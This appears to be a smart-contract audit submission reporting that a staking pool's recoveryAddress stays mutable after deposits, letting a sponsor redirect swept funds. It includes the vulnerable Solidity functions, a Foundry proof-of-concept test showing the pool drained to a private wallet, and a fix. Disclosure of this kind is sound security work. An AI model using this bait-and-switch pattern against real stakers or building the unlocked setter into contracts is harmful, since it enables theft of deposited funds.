FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Mutable recoveryAddress after staker deposits enables bait-and-switch

Author Revealed upon completion

Root + Impact

Description

  • The contract dynamically locks key parameters like the pool's expiry on the first stake to guarantee stakers that the pool parameters cannot be changed after they commit capital.

  • Unlike expiry, the recoveryAddress is never locked upon staker deposits and can be modified by the pool owner at any time, allowing a malicious sponsor to bait depositors with a trusted recovery address (e.g. a multisig) and switch it to a personal wallet prior to sweeping the pool.

// In src/ConfidencePool.sol
function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
if (newRecoveryAddress == address(0)) revert InvalidRecoveryAddress();
address oldRecoveryAddress = recoveryAddress;
@> recoveryAddress = newRecoveryAddress;
emit RecoveryAddressUpdated(oldRecoveryAddress, newRecoveryAddress);
}
function claimCorrupted() external nonReentrant {
if (outcome != PoolStates.Outcome.CORRUPTED) revert OutcomeNotSet();
if (goodFaith && bountyClaimed < bountyEntitlement) revert MustClaimBountyFirst();
uint256 toSweep = stakeToken.balanceOf(address(this));
if (toSweep == 0) revert NothingToSweep();
corruptedReserve = toSweep <= corruptedReserve ? corruptedReserve - toSweep : 0;
if (!goodFaith) {
bountyClaimed = bountyEntitlement;
}
if (!claimsStarted) claimsStarted = true;
@> stakeToken.safeTransfer(recoveryAddress, toSweep);
emit ClaimCorrupted(msg.sender, recoveryAddress, toSweep);
}

Risk

Likelihood:

  • Sponsors initialize pools with a reputable recovery address to attract stakers and subsequently experience an in-scope contract breach.

    • Sponsors call setRecoveryAddress post-deposit to capture the funds during bad-faith or auto-CORRUPTED sweeps.

Impact:

  • Total loss of all staker principal and bonus pool tokens on CORRUPTED paths.

  • Redirection of residual donations or unclaimed bonus sweeps to an unauthorized address.

Proof of Concept

Poc Explanation:The PoC walks through a four-step attack: (1) the sponsor sets a reputable publicRecovery address (simulating a multisig) and attracts 150 tokens of stake plus 30 tokens of bonus; (2) the registry transitions to CORRUPTED and the moderator flags a bad-faith outcome, locking stakers out of withdrawals; (3) the sponsor calls setRecoveryAddress to swap the destination to their private wallet — an action that succeeds with no revert because there is no lock; (4) claimCorrupted transfers the entire 180-token pool balance to the new private address, while stakers and the original recovery address receive nothing.

How to Run

Run the test from the workspace directory using the following Foundry command:

bashforge test --match-test testPoC_badFaithCorrupted_redirectsStakeAfterDeposit -vv

Output Result

text
No files changed, compilation skipped
Ran 1 test for test/unit/RecoveryAddressBaitAndSwitch.t.sol:RecoveryAddressBaitAndSwitchTest
\[PASS] testPoC\_badFaithCorrupted\_redirectsStakeAfterDeposit() (gas: 638910)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 27.69ms (2.21ms CPU time)
Ran 1 test suite in 52.92ms (27.69ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

function testPoC_badFaithCorrupted_redirectsStakeAfterDeposit() external {
// 1. Sponsor publishes a "safe" recovery address and attracts stakers.
pool.setRecoveryAddress(publicRecovery);
assertEq(pool.recoveryAddress(), publicRecovery);
_stake(alice, 100 * ONE);
_stake(bob, 50 * ONE);
_contributeBonus(carol, 30 * ONE);
uint256 poolBalance = 180 * ONE;
assertEq(token.balanceOf(address(pool)), poolBalance);
// 2. In-scope breach occurs: moderator flags bad-faith CORRUPTED.
_passThroughUnderAttack();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
// 3. Before anyone sweeps, sponsor redirects recovery to a private wallet.
pool.setRecoveryAddress(sponsorWallet);
assertEq(pool.recoveryAddress(), sponsorWallet);
// 4. Full pool (stake + bonus) lands on the new address, not the one stakers relied on.
uint256 sponsorBefore = token.balanceOf(sponsorWallet);
uint256 publicBefore = token.balanceOf(publicRecovery);
pool.claimCorrupted();
assertEq(token.balanceOf(sponsorWallet) - sponsorBefore, poolBalance);
assertEq(token.balanceOf(publicRecovery), publicBefore, "original recovery receives nothing");
assertEq(token.balanceOf(alice), 0, "alice forfeits principal");
assertEq(token.balanceOf(bob), 0, "bob forfeits principal");
}

Recommended Mitigation

Add a lock check or lock status check inside the setRecoveryAddress function to mirror the expiryLocked status:

diff --git a/src/ConfidencePool.sol b/src/ConfidencePool.sol
index fc96d2f..244b413 100644
--- a/src/ConfidencePool.sol
+++ b/src/ConfidencePool.sol
@@ -608,8 +608,11 @@ contract ConfidencePool is Initializable, Ownable2Step, ReentrancyGuard, Pausabl
+ error RecoveryAddressLocked();
+
/// @inheritdoc IConfidencePool
// aderyn-ignore-next-line(centralization-risk)
function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
+ if (expiryLocked) revert RecoveryAddressLocked();
if (newRecoveryAddress == address(0)) revert InvalidRecoveryAddress();
address oldRecoveryAddress = recoveryAddress;

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!